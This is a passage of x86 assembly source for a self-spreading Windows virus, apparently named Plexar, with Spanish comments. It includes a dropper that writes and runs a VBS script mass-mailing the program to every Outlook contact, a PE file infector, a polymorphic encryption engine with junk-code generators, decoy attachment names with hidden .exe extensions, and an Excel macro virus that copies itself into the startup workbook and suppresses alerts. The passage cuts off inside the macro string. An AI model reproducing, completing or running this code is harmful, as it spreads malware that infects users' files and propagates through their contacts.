@VBS2: XOR AL, AL INC ECX SCASB JNZ @VBS2 DEC ECX POP EDI MOV BY [LargoVBS], CL MOV DWO [GuardaNom], EDI MOV EBX, EDI CALL Droppear_PE JC @VBS_Fin MOV EBX, DWO [GuardaNom] CALL Infecta_PE XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_NEW PUSH EAX PUSH EAX PUSH GENERIC_READ + GENERIC_WRITE LEA EAX, OFS [Raxelp_vbs] PUSH EAX APICALL CreateFileA MOV DWO [FHandle_WVBS], EAX INC EAX JZ @VBS_Fin DEC EAX XOR EBX, EBX PUSH EBX PUSH 4096d PUSH EBX PUSH PAGE_READWRITE PUSH EBX PUSH EAX APICALL CreateFileMappingA MOV DWO [MHandle_WVBS], EAX OR EAX, EAX JZ @VBS_CierraFile XOR EBX, EBX PUSH EBX PUSH EBX PUSH EBX PUSH FILE_MAP_READ + FILE_MAP_WRITE PUSH EAX APICALL MapViewOfFile MOV DWO [BaseMap_WVBS], EAX OR EAX, EAX JZ @VBS_DesMapea XCHG EDI, EAX LEA ESI, OFS [Gusano_VBS] PUSH L_Gusano_VBS POP ECX REP MOVSB PUSH EDI PUSH MAX_PATH PUSH EDI APICALL GetWindowsDirectoryA OR EAX, EAX JZ @VBS_CierraTodo POP EDI ADD EDI, EAX MOV BYTE PTR [EDI], "\" INC EDI MOV ESI, DWO [GuardaNom] MOVZX ECX, BY [LargoVBS] REP MOVSB LEA ESI, OFS [Gusano_VBS2] PUSH L_Gusano_VBS2 POP ECX REP MOVSB SUB EDI, DWO [BaseMap_WVBS] PUSH DWO [BaseMap_WVBS] APICALL UnmapViewOfFile PUSH DWO [MHandle_WVBS] APICALL CloseHandle XOR EBX, EBX PUSH EBX PUSH EBX PUSH EDI PUSH DWO [FHandle_WVBS] APICALL SetFilePointer PUSH DWO [FHandle_WVBS] APICALL SetEndOfFile PUSH DWO [FHandle_WVBS] APICALL CloseHandle CALL @VBS3 DB "SHELL32.DLL", 00h @VBS3: APICALL LoadLibraryA OR EAX, EAX JZ @VBS_Fin CALL @VBS4 DB "ShellExecuteA", 00h, 5 DUP (90h) @VBS4: PUSH EAX APICALL GetProcAddress OR EAX, EAX JZ @VBS_Fin XOR EBX, EBX PUSH EBX PUSH EBX PUSH EBX LEA EDX, OFS [Raxelp_VBS] PUSH EDX PUSH EBX PUSH EBX CALL EAX @VBS_Fin: XOR ECX, ECX POP DWORD PTR FS:[ECX] POP ECX IF DEBUG POPAD RET ELSE MOV DWO [GuardaEBP3], EBP POPAD MOV EBX, 12345678h ORG $-4 GuardaEBP3 DD 00000000h PUSH NULL CALL [EBX+ExitThread] RET ENDIF @VBS_CierraTodo: PUSH DWO [BaseMap_WVBS] APICALL UnmapViewOfFile @VBS_DesMapea: PUSH DWO [MHandle_WVBS] APICALL CloseHandle @VBS_CierraFile: XOR EBX, EBX PUSH EBX PUSH EBX PUSH DWO [Scriptum] PUSH DWO [FHandle_WVBS] APICALL SetFilePointer PUSH DWO [FHandle_WVBS] APICALL SetEndOfFile PUSH DWO [FHandle_WVBS] APICALL CloseHandle JMP @VBS_Fin ; Rutina para revisar la existencia de un archivo. ; EBX -> Nombre de archivo. ; Retorna acarreo si existe @Existe_Archivo: PUSH EBX PUSH PAGE_READWRITE PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN PUSH SIZEOF_WIN32_FIND_DATA PUSH NULL APICALL VirtualAlloc MOV DWO [VAllocZ], EAX OR EAX, EAX JZ @EA_Negativo POP EBX PUSH EAX PUSH EBX APICALL FindFirstFileA INC EAX JZ @EA_Negativo DEC EAX PUSH EAX APICALL FindClose PUSH MEM_DECOMMIT PUSH SIZEOF_WIN32_FIND_DATA PUSH 12345678h ORG $-4 VAllocZ DD 00000000h APICALL VirtualFree STC RET 0 @EA_Negativo: PUSH MEM_DECOMMIT PUSH SIZEOF_WIN32_FIND_DATA PUSH DWO [VAllocZ] APICALL VirtualFree CLC RET 0 Worm_VBS ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DB "[" XOR 40h DB "D" XOR 40h DB "e" XOR 40h DB "s" XOR 40h DB "i" XOR 40h DB "g" XOR 40h DB "n" XOR 40h DB "e" XOR 40h DB "d" XOR 40h DB " " XOR 40h DB "b" XOR 40h DB "y" XOR 40h DB " " XOR 40h DB "L" XOR 40h DB "i" XOR 40h DB "t" XOR 40h DB "e" XOR 40h DB "S" XOR 40h DB "y" XOR 40h DB "s" XOR 40h DB "]" XOR 40h DB 40h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; PXPE: Plexar Polymorphic Engine: Another Lame Poly Written By Me. ; ; ESI -> Origen ; EDI -> Destino ; ECX -> Tama¤o PXPE PROC MOV DWO [Origen], ESI MOV DWO [Destino], EDI MOV DWO [Tama¤o], ECX CALL @Inicializar_Semillas XOR EBX, EBX DEC EBX CALL @Aleatorio MOV DWO [Llave], EAX MOV EDI, DWO [Destino] ; DELTA PUSH EDI CALL @Basura CALL @Basura POP EDX SUB EDX, EDI MOV DWO [GuardaDelta2], EDX MOV AL, 0E8h ; CALL STOSB XOR EAX, EAX ; Delta STOSD CALL @Basura CALL @Basura CALL @Popear_Delta CALL @Basura CALL @Basura CALL @Meter_Tama¤o CALL @Basura CALL @Basura CALL @Colocar_Lea CALL @Basura MOV DWO [GuardaLoop], EDI CALL @Basura MOV AX, 03781h ; XOR DWORD PTR [EDI] STOSW MOV EAX, DWO [Llave] STOSD CALL @Basura CALL @Basura CALL @SumaCuatro CALL @Basura CALL @Basura MOV AL, 049h STOSB MOV AX, 850Fh STOSW MOV EAX, DWO [GuardaLoop] SUB EAX, EDI SUB EAX, 04h STOSD CALL @Basura CALL @Basura MOV EAX, EDI SUB EAX, DWO [Destino] SUB EAX, 05h MOV EBX, DWO [GuardaDelta] SUB DWORD PTR [EBX], EAX MOV EDX, DWO [GuardaDelta2] SUB DWORD PTR [EBX], EDX MOV ESI, DWO [Origen] MOV ECX, DWO [Tama¤o] MOV EAX, DWO [Llave] @ReCopia: MOVSD XOR DWORD PTR [EDI-4h], EAX LOOP @ReCopia RET @Inicializar_Semillas: LEA EDI, OFS [@SaveSemilla] RDTSC STOSD PUSH 04h POP EDI LEA ESI, OFS [@SaveSemilla] CALL CRC32 MOV DWO [Semilla_1], EAX APICALL GetTickCount ADD EAX, EAX NOT EAX ; que mierda... PUSH 04h POP EDI LEA ESI, OFS [@SaveSemilla] CALL CRC32 MOV DWO [Semilla_2], EAX RET ; Un indecente generador de numeros aleatorios... ; ; EBX -> Limite. @Aleatorio: PUSH EDI PUSH ECX PUSH EDX PUSH EBX MOV EAX, DWO [Semilla_1] IMUL EAX, Mierda_1 ADD EAX, Mierda_2 MOV DWO [Semilla_1], EAX LEA EDI, OFS [Milonga] STOSD MOV EBX, DWO [Semilla_2] IMUL EBX, Mierda_3 ADD EBX, Mierda_4 MOV DWO [Semilla_2], EBX XCHG EAX, EBX STOSD LEA ESI, OFS [Milonga] PUSH 08h POP EDI CALL CRC32 POP EBX XOR EDX, EDX DIV EBX XCHG EDX, EAX POP EDX POP ECX POP EDI RET Milonga DB 9 DUP (00h) @Popear_Delta: PUSH 04h POP EBX CALL @Aleatorio OR EAX, EAX JZ @Popear_Delta_I CMP EAX, 01h JZ @Popear_Delta_II CMP EAX, 02h JZ @Popear_Delta_III CMP EAX, 03h JZ @Popear_Delta_IV JMP @Popear_Delta_IV @Popear_Delta_R: RET @Popear_Delta_I: MOV AL, 05Dh ; POP EBP STOSB MOV AX, 0ED81h ; SUB EBP STOSW MOV DWO [GuardaDelta], EDI MOV EAX, DWO [Origen] STOSD JMP @Popear_Delta_R @Popear_Delta_II: MOV AL, 058h STOSB MOV AL, 02Dh STOSB MOV DWO [GuardaDelta], EDI MOV EAX, DWO [Origen] STOSD MOV AL, 095h STOSB JMP @Popear_Delta_R @Popear_Delta_III: MOV AL, 05Bh STOSB MOV AL, 0BAh STOSB MOV DWO [GuardaDelta], EDI MOV EAX, DWO [Origen] STOSD MOV AX, 0D329h STOSW MOV AX, 0DD87h STOSW JMP @Popear_Delta_R @Popear_Delta_IV: MOV AL, 05Ah STOSB MOV AL, 068h STOSB MOV DWO [GuardaDelta], EDI MOV EAX, DWO [Origen] STOSD MOV AL, 05Dh STOSB MOV AX, 0D587h STOSW MOV AX, 0D529h STOSW JMP @Popear_Delta_R RET @Meter_Tama¤o: PUSH 04h POP EBX CALL @Aleatorio OR EAX, EAX JZ @Meter_Tama¤o_I CMP EAX, 01h JZ @Meter_Tama¤o_II CMP EAX, 02h JZ @Meter_Tama¤o_III CMP EAX, 03h JZ @Meter_Tama¤o_IV JMP @Meter_Tama¤o_III @Meter_Tama¤oR: RET @Meter_Tama¤o_I: MOV AL, 0B9h STOSB MOV EAX, DWO [Tama¤o] STOSD JMP @Meter_Tama¤oR @Meter_Tama¤o_II: MOV AL, 068h STOSB MOV EAX, DWO [Tama¤o] STOSD MOV AL, 059h STOSB JMP @Meter_Tama¤oR @Meter_Tama¤o_III: MOV AL, 0BAh STOSB MOV EAX, DWO [Tama¤o] NOT EAX STOSD MOV AX, 0CA87h STOSW MOV AX, 0D1F7h STOSW JMP @Meter_Tama¤oR @Meter_Tama¤o_IV: XOR EBX, EBX DEC EBX CALL @Aleatorio XCHG EDX, EAX MOV AL, 068h STOSB MOV EAX, EDX STOSD MOV AL, 058h STOSB MOV AL, 035h STOSB MOV EAX, DWO [Tama¤o] XOR EAX, EDX STOSD MOV AL, 091h STOSB JMP @Meter_Tama¤oR @Colocar_LEA: PUSH 03h POP EBX CALL @Aleatorio OR EAX, EAX JZ @Colocar_Lea_I CMP EAX, 01h JZ @Colocar_Lea_II CMP EAX, 02h JZ @Colocar_Lea_III JMP @Colocar_Lea_II @Colocar_LEAR: RET @Colocar_LEA_I: MOV AX, 0BD8Dh STOSW MOV EAX, DWO [Origen] STOSD JMP @Colocar_LEAR @Colocar_LEA_II: MOV AL, 0BFh STOSB MOV EAX, DWO [Origen] STOSD MOV AX, 0EF01h STOSW JMP @Colocar_LEAR @Colocar_LEA_III: MOV AL, 068h STOSB MOV EAX, DWO [Origen] STOSD MOV AL, 05Ah STOSB MOV AX, 0EA01h STOSW MOV AX, 0D787h STOSW JMP @Colocar_LEAR @SumaCuatro: PUSH 04h POP EBX CALL @Aleatorio OR EAX, EAX JZ @SumaCuatro_I CMP EAX, 01h JZ @SumaCuatro_II CMP EAX, 02h JZ @SumaCuatro_III CMP EAX, 03h JZ @SumaCuatro_IV JMP @SumaCuatro_III @SumaCuatroR: RET @SumaCuatro_I: MOV AX, 0C781h STOSW MOV EAX, 00000004h STOSD JMP @SumaCuatroR @SumaCuatro_II: MOV EAX, 47474747h STOSD JMP @SumaCuatroR @SumaCuatro_III: MOV AL, 47h STOSB MOV AX, 0C781h STOSW MOV EAX, 00000002h STOSD MOV AL, 47h STOSB JMP @SumaCuatroR @SumaCuatro_IV: MOV AX, 0C781h STOSW MOV EAX, 00000003h STOSD MOV AL, 47h STOSB JMP @SumaCuatroR ; Generador de basura! Mega Lamer!!! @Basura: PUSH 10d POP ECX @BasLoop: PUSH 08d POP EBX CALL @Aleatorio OR EAX, EAX JZ @Basura_1 CMP EAX, 1h JZ @Basura_2 CMP EAX, 2h JZ @Basura_3 CMP EAX, 3h JZ @Basura_4 CMP EAX, 4h JZ @Basura_5 CMP EAX, 5h JZ @Basura_6 CMP EAX, 6h JZ @Basura_7 JMP @Basura_1 @BasuraR: LOOP @BasLoop RET @Basura_1: PUSH 07h POP EBX CALL @Aleatorio LEA ESI, OFS [@B1_Tabla] ADD ESI, EAX MOVSB XOR EBX, EBX DEC EBX CALL @Aleatorio STOSD JMP @BasuraR @B1_Tabla: DB 0B8h ; MOV EAX DB 0BBh ; MOV EBX DB 0BAh ; MOV EDX DB 0BEh ; MOV ESI DB 005h ; ADD EAX DB 02Dh ; SUB EAX DB 035h ; XOR EAX DB 015h ; ADC EAX @Basura_2: PUSH 15d POP EBX CALL @Aleatorio ADD EAX, EAX LEA ESI, OFS [@B2_Tabla] ADD ESI, EAX MOVSW XOR EBX, EBX DEC EBX CALL @Aleatorio STOSD JMP @BasuraR @B2_Tabla: DB 081h, 0C3h ; ADD EBX DB 081h, 0C2h ; ADD EDX DB 081h, 0C6h ; ADD ESI DB 081h, 0EBh ; SUB EBX DB 081h, 0EAh ; SUB EDX DB 081h, 0EEh ; SUB ESI DB 081h, 0F6h ; XOR ESI DB 081h, 0F2h ; XOR EDX DB 081h, 0F3h ; XOR EBX DB 081h, 0D3h ; ADC EBX DB 081h, 0D2h ; ADC EDX DB 081h, 0D6h ; ADC ESI DB 069h, 0C0h ; IMUL EAX DB 069h, 0DBh ; IMUL EBX DB 069h, 0D2h ; IMUL EDX DB 069h, 0F6h ; IMUL ESI @Basura_3: PUSH 35d POP EBX CALL @Aleatorio ADD EAX, EAX LEA ESI, OFS [@B3_Tabla] ADD ESI, EAX MOVSW JMP @BasuraR @B3_Tabla: DB 001h, 0D8h ; ADD EAX, EBX DB 001h, 0D0h ; ADD EAX, EDX DB 001h, 0F0h ; ADD EAX, ESI DB 001h, 0D3h ; ADD EBX, EDX DB 001h, 0F3h ; ADD EBX, ESI DB 001h, 0C3h ; ADD EBX, EAX DB 001h, 0DAh ; ADD EDX, EBX DB 001h, 0F2h ; ADD EDX, ESI DB 001h, 0C2h ; ADD EDX, EAX DB 001h, 0DEh ; ADD ESI, EBX DB 001h, 0D6h ; ADD ESI, EDX DB 001h, 0C6h ; ADD ESI, EAX DB 029h, 0D8h ; SUB EAX, EBX DB 029h, 0D0h ; SUB EAX, EDX DB 029h, 0F0h ; SUB EAX, ESI DB 029h, 0C3h ; SUB EBX, EAX DB 029h, 0D3h ; SUB EBX, EDX DB 029h, 0F3h ; SUB EBX, ESI DB 029h, 0C2h ; SUB EDX, EAX DB 029h, 0DAh ; SUB EDX, EBX DB 029h, 0F2h ; SUB EDX, ESI DB 029h, 0C6h ; SUB ESI, EAX DB 029h, 0DEh ; SUB ESI, EBX DB 029h, 0D6h ; SUB ESI, EDX DB 031h, 0D8h ; XOR EAX, EBX DB 031h, 0D0h ; XOR EAX, EDX DB 031h, 0F0h ; XOR EAX, ESI DB 031h, 0C3h ; XOR EBX, EAX DB 031h, 0D3h ; XOR EBX, EDX DB 031h, 0F3h ; XOR EBX, ESI DB 031h, 0C2h ; XOR EDX, EAX DB 031h, 0DAh ; XOR EDX, EBX DB 031h, 0F2h ; XOR EDX, ESI DB 031h, 0C6h ; XOR ESI, EAX DB 031h, 0DEh ; XOR ESI, EBX DB 031h, 0D6h ; XOR ESI, EDX @Basura_4: MOV AL, 068h ; PUSH STOSB XOR EBX, EBX DEC EBX CALL @Aleatorio STOSD PUSH 03h POP EBX CALL @Aleatorio LEA ESI, OFS [@B4_Tabla] ADD ESI, EAX MOVSB JMP @BasuraR @B4_Tabla: DB 058h ; POP EAX DB 05Bh ; POP EBX DB 05Ah ; POP EDX DB 05Eh ; POP ESI @Basura_5: PUSH 11d POP EBX CALL @Aleatorio LEA ESI, OFS [@B5_Tabla] ADD ESI, EAX MOVSB JMP @BasuraR @B5_Tabla: DB 040h ; inc eax DB 043h ; inc ebx DB 042h ; inc edx DB 046h ; inc esi DB 048h ; dec eax DB 04Bh ; dec ebx DB 04Ah ; dec edx DB 04Eh ; dec esi DB 093h ; xchg ebx,eax DB 092h ; xchg edx,eax DB 096h ; xchg esi,eax DB 093h ; xchg ebx,eax @Basura_6: PUSH 13d POP EBX CALL @Aleatorio LEA ESI, OFS [@B6_Tabla] ADD EAX, EAX ADD ESI, EAX MOVSW JMP @BasuraR @B6_Tabla: DB 0F7h, 0D0h ; not eax DB 0F7h, 0D3h ; not ebx DB 0F7h, 0D2h ; not edx DB 0F7h, 0D6h ; not esi DB 0F7h, 0D8h ; neg eax DB 0F7h, 0DBh ; neg ebx DB 0F7h, 0DAh ; neg edx DB 0F7h, 0DEh ; neg esi DB 087h, 0DAh ; xchg ebx,edx DB 087h, 0DEh ; xchg ebx,esi DB 087h, 0D3h ; xchg edx,ebx DB 087h, 0D6h ; xchg edx,esi DB 087h, 0F3h ; xchg esi,ebx DB 087h, 0F2h ; xchg esi,edx @Basura_7: PUSH 31d POP EBX CALL @Aleatorio LEA ESI, OFS [@B7_Tabla] ADD EAX, EAX ADD ESI, EAX MOVSW XOR EBX, EBX DEC EBX CALL @Aleatorio STOSB JMP @BasuraR @B7_Tabla: DB 0C1h, 0D0h ; rcl eax DB 0C1h, 0D3h ; rcl ebx DB 0C1h, 0D2h ; rcl edx DB 0C1h, 0D6h ; rcl esi DB 0C1h, 0D8h ; rcr eax DB 0C1h, 0DBh ; rcr ebx DB 0C1h, 0DAh ; rcr edx DB 0C1h, 0DEh ; rcr esi DB 0C1h, 0C0h ; rol eax DB 0C1h, 0C3h ; rol ebx DB 0C1h, 0C2h ; rol edx DB 0C1h, 0C6h ; rol esi DB 0C1h, 0C8h ; ror eax DB 0C1h, 0CBh ; ror ebx DB 0C1h, 0CAh ; ror edx DB 0C1h, 0CEh ; ror esi DB 0C1h, 0E0h ; shl eax DB 0C1h, 0E3h ; shl ebx DB 0C1h, 0E2h ; shl edx DB 0C1h, 0E6h ; shl esi DB 0C1h, 0F8h ; sar eax DB 0C1h, 0FBh ; sar ebx DB 0C1h, 0FAh ; sar edx DB 0C1h, 0FEh ; sar esi DB 0C1h, 0E0h ; shl eax DB 0C1h, 0E3h ; shl ebx DB 0C1h, 0E2h ; shl edx DB 0C1h, 0E6h ; shl esi DB 0C1h, 0E8h ; shr eax DB 0C1h, 0EBh ; shr ebx DB 0C1h, 0EAh ; shr edx DB 0C1h, 0EEh ; shr esi @SaveSemilla DB 8 DUP (00h) Semilla_1 DD 00000000h Semilla_2 DD 00000000h Llave DD 00000000h Origen DD 00000000h Destino DD 00000000h Tama¤o DD 00000000h GuardaDelta DD 00000000h GuardaDelta2 DD 00000000h GuardaLoop DD 00000000h Mierda_1 EQU 1A7FC23Bh Mierda_2 EQU 000028B1h Mierda_3 EQU 974D9DB5h Mierda_4 EQU 0000F3C9h PXPE ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;*************************************************************** ;* aPLib v0.22b - the smaller the better :) * ;* WASM & TASM assembler depacker * ;* * ;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved * ;*************************************************************** ;.386p ;.MODEL flat ;.CODE ;PUBLIC _aP_depack_asm _aP_depack_asm: push ebp mov ebp, esp pushad push ebp mov esi, [ebp + 8] ; C calling convention mov edi, [ebp + 12] cld mov dl, 80h literal: movsb nexttag: call getbit jnc literal xor ecx, ecx call getbit jnc codepair xor eax, eax call getbit jnc shortmatch mov al, 10h getmorebits: call getbit adc al, al jnc getmorebits jnz domatch_with_inc stosb jmp short nexttag codepair: call getgamma_no_ecx dec ecx loop normalcodepair mov eax,ebp call getgamma jmp short domatch shortmatch: lodsb shr eax, 1 jz donedepacking adc ecx, 2 mov ebp, eax jmp short domatch normalcodepair: xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call getgamma cmp eax, 32000 jae domatch_with_2inc cmp eax, 1280 jae domatch_with_inc cmp eax, 7fh ja domatch domatch_with_2inc: inc ecx domatch_with_inc: inc ecx domatch: push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short nexttag getbit: add dl, dl jnz stillbitsleft mov dl, [esi] inc esi adc dl, dl stillbitsleft: ret getgamma: xor ecx, ecx getgamma_no_ecx: inc ecx getgammaloop: call getbit adc ecx, ecx call getbit jc getgammaloop ret donedepacking: pop ebp sub edi, [ebp + 12] mov [ebp - 4], edi ; return unpacked length in eax popad pop ebp ret ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Billy Belcebu's CRC32 calculator. ; ; CRC32 procedure ; --------------+ ; ; input: ; ESI = Offset where code to calculate begins ; EDI = Size of that code ; output: ; EAX = CRC32 of given code ; CRC32 proc cld xor ecx,ecx ; Optimized by me - 2 bytes dec ecx ; less mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; 1 byte less jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Generador de numeros aleatorios para uso general. ; ; EBX -> Limite Superior Random PROC PUSH ECX EDX EDI EBX LEA EDI, OFS [Mariconada] RDTSC STOSD PUSH 04h POP EDI LEA ESI, OFS [Mariconada] CALL CRC32 XCHG EDX, EAX PUSH EDX LEA EDI, OFS [Mariconada] APICALL GetTickCount STOSD SUB EDI, 04h XCHG EDI, ESI PUSH 04h POP EDI CALL CRC32 POP EDX PUSH EAX OR EAX, EDX POP ECX AND EDX, ECX XOR EAX, EDX POP EBX XOR EDX, EDX DIV EBX XCHG EDX, EAX POP EDI EDX ECX RET Mariconada DB 9 DUP (00h) Random ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; TABLA! ; ; Create -> 01h ; File -> 02h ; Map -> 03h ; View -> 04h ; Close -> 05h ; Get -> 06h ; Set -> 07h ; Find -> 08h ; Virtual -> 09h ; Window -> 0Ah ; Directory -> 0Bh ; Current -> 0Ch ; WaitFor -> 0Dh ; Thread -> 0Eh HThread DD 00000000h APIs_K32 DB 01h, 02h, "A", 00h DB 01h, 02h, 03h, "pingA", 00h DB 03h, 04h, "Of", 02h, 00h DB "Unmap", 04h, "Of", 02h, 00h DB 05h, "Handle", 00h DB 06h, 02h, "Size", 00h DB 07h, 02h, "Pointer", 00h DB 07h, "EndOf", 02h, 00h DB 07h, 02h, "AttributesA", 00h DB "Write", 02h, 00h DB 08h, "First", 02h, "A", 00h DB 08h, "Next", 02h, "A", 00h DB 08h, 05h, 00h DB 09h, "Alloc", 00h DB 09h, "Free", 00h DB 06h, 0Ah, "s", 0Bh, "A", 00h DB 06h, 0Ch, 0Bh, "A", 00h DB 07h, 0Ch, 0Bh, "A", 00h DB 01h, 0Eh, 00h DB "Exit", 0Eh, 00h DB 0Dh, "MultipleObjects", 00h DB 0Dh, "SingleObject", 00h DB 06h, "TickCount", 00h DB "LoadLibraryA", 00h DB "Delete", 02h, "A", 00h DB 07h, 0Eh, "Priority", 00h DB 0FFh CreateFileA DD 00000000h CreateFileMappingA DD 00000000h MapViewOfFile DD 00000000h UnmapViewOfFile DD 00000000h CloseHandle DD 00000000h GetFileSize DD 00000000h SetFilePointer DD 00000000h SetEndOfFile DD 00000000h SetFileAttributesA DD 00000000h WriteFile DD 00000000h FindFirstFileA DD 00000000h FindNextFileA DD 00000000h FindClose DD 00000000h VirtualAlloc DD 00000000h VirtualFree DD 00000000h GetWindowsDirectoryA DD 00000000h GetCurrentDirectoryA DD 00000000h SetCurrentDirectoryA DD 00000000h CreateThread DD 00000000h ExitThread DD 00000000h WaitForMultipleObjects DD 00000000h WaitForSingleObject DD 00000000h GetTickCount DD 00000000h LoadLibraryA DD 00000000h DeleteFileA DD 00000000h SetThreadPriority DD 00000000h KERNEL32 DD 00000000h Thread_Directa DD 00000000h Thread_WormVBS DD 00000000h Thread_IWord DD 00000000h Thread_Host DD 00000000h Listo_Directa DB 00h GetProcAddress DD 00000000h Exports DD 00000000h CRC32_GetProcAddress EQU 0FFC97C1Fh l_GetProcAddress EQU 0Fh Scriptum DD 00000000h GuardaNom DD 00000000h LargoVBS DB 00h FHandle_WVBS DD 00000000h MHandle_WVBS DD 00000000h BaseMap_WVBS DD 00000000h Gusano_VBS LABEL NEAR DB 'On Error Resume Next', 0Dh, 0Ah DB 'Set Outlook = CreateObject("OutLook.Application")', 0Dh, 0Ah DB 'If ( Outlook <> "" ) Then', 0Dh, 0Ah DB 'With Outlook', 0Dh, 0Ah DB 'Set MAPI = .GetNameSpace("MAPI")', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'With MAPI', 0Dh, 0Ah DB 'Set AddrList = .AddressLists', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'For I = 1 to AddrList.Count', 0Dh, 0Ah DB 'With OutLook', 0Dh, 0Ah DB 'Set NuevoMail = .CreateItem(0)', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'Set LibroActual = AddrList.Item(I)', 0Dh, 0Ah DB 'With NuevoMail', 0Dh, 0Ah DB '.Attachments.Add "' L_Gusano_VBS EQU $-Gusano_VBS Gusano_VBS2 LABEL NEAR DB '"', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'Set Yuca = LibroActual.AddressEntries', 0Dh, 0Ah DB 'With Yuca', 0Dh, 0Ah DB 'For J = 1 to .Count', 0Dh, 0Ah DB 'With NuevoMail', 0Dh, 0Ah DB 'Set bajo = .Recipients', 0Dh, 0Ah DB 'bajo.Add Yuca(J)', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'Next', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'With NuevoMail', 0Dh, 0Ah DB '.Send', 0Dh, 0Ah DB 'End With', 0Dh, 0Ah DB 'Next', 0Dh, 0Ah DB 'Outlook.Quit', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah L_Gusano_VBS2 EQU $-Gusano_VBS2 Nombres_Varios DB "XD", 00h DB "Sex.jpg", 20d DUP (" "), ".exe", 00h DB "Porno.gif", 20d DUP (" "), ".exe", 00h DB "Free_XXX.jpg", 20d DUP (" "), ".exe", 00h DB "Great_Music.mp3", 20d DUP (" "), ".exe", 00h DB "Check_This.jpg", 20d DUP (" "), ".exe", 00h DB "Cool_Pics.gif", 20d DUP (" "), ".exe", 00h DB "Love_Story.html", 20d DUP (" "), ".exe", 00h DB "Sexy_Screensaver.scr", 00h DB "Free_Love_Screensaver.scr", 00h DB "Eat_My_Shorts.scr", 00h Raxelp_vbs DB "raxelp.vbs", 00h WScript_exe DB "wscript.exe", 00h Tabla_Hex DB "0123456789ABCDEF", 00h FHandle_IW DD 00000000h MHandle_IW DD 00000000h BaseMap_IW DD 00000000h Tama¤o_IW DD 00000000h Memoria_IW DD 00000000h Macaco DB 13d DUP (00h) Virus_Macro LABEL NEAR DB 'Attribute VB_Name = "Plexar"', 0Dh, 0Ah DB 'Sub Auto_Open()', 0Dh, 0Ah DB 'Application.OnSheetActivate = "InfXL"', 0Dh, 0Ah DB 'End Sub', 0Dh, 0Ah DB 'Sub InfXL()', 0Dh, 0Ah DB 'On Error Resume Next', 0Dh, 0Ah DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah DB 'Set VBP = Application.VBE.ActiveVBProject', 0Dh, 0Ah DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah DB 'Set VBX = VBP.VBComponents', 0Dh, 0Ah DB 'With Application: .ScreenUpdating = Not -1: .DisplayStatusBar = Not -1: .EnableCancelKey = Not -1: .DisplayAlerts = Not -1: End With', 0Dh, 0Ah DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$": YYY = Application.StartupPath & "\personal.xls"', 0Dh, 0Ah DB 'VBX.Item(ZZZ).Export XXX', 0Dh, 0Ah DB 'If AXO.Item(ZZZ).Name <> ZZZ Then', 0Dh, 0Ah DB ' AXO.Import XXX: AWO.SaveAs AWO.FullName', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'If (Dir(YYY) = "") Then', 0Dh, 0Ah DB 'Workbooks.Add.SaveAs YYY', 0Dh, 0Ah DB 'Set AWO = Application.ActiveWorkbook', 0Dh, 0Ah DB 'Set AXO = AWO.VBProject.VBComponents', 0Dh, 0Ah DB 'AXO.Import XXX', 0Dh, 0Ah DB 'ActiveWindow.Visible = Not -1', 0Dh, 0Ah DB 'Workbooks("personal.xls").Save', 0Dh, 0Ah DB 'End If', 0Dh, 0Ah DB 'Kill XXX', 0Dh, 0Ah DB 'Call Correme', 0Dh, 0Ah DB 'End Sub', 0Dh, 0Ah DB 'Sub AutoClose()', 0Dh, 0Ah DB 'On Error Resume Next', 0Dh, 0Ah DB 'ZZZ = "Plexar": XXX = "c:\plx.$$$"', 0Dh, 0Ah DB 